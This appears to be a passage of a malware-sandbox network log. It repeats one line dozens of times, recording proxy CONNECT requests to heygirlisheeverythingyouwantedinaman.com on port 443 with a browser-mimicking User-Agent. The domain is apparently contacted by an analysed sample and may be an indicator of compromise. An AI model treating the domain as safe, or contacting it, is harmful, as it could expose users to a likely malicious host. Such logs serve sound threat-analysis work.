Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
